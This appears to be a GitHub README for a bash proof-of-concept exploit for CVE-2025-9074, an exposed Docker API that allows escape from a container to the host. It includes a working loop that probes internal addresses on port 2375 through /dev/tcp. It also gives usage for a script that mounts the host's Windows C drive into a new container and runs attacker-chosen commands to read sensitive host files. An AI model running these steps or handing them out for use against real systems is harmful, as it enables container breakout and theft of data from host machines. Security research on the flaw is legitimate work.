pppxo/cve-2025-9074-poc-bash
The original PoC is: https://github.com/j3r1ch0123/CVE-2025-9074. This is new PoC in bash since not all docker containers has python installed, and mostly this should be run from inside a container.
From inside the container use the following to find vulnerable docker API:
for ip in 172.18.0.1 172.17.0.1 192.168.65.7; do
(echo > /dev/tcp/$ip/2375 2>/dev/null && echo "[+] $ip:2375 open") || :
done
Use this bash script as the following:
$ ./cve-2025-9074-poc.sh <IP> <PORT> <CMD>
The script will create new docker image mount the host Windows C directory to /host_root/ directory, start the image, then execute the command (which is probably something you need to exploit by reading sensitive files from the host).
The following shows listing the mounted '/host_root/' directory:
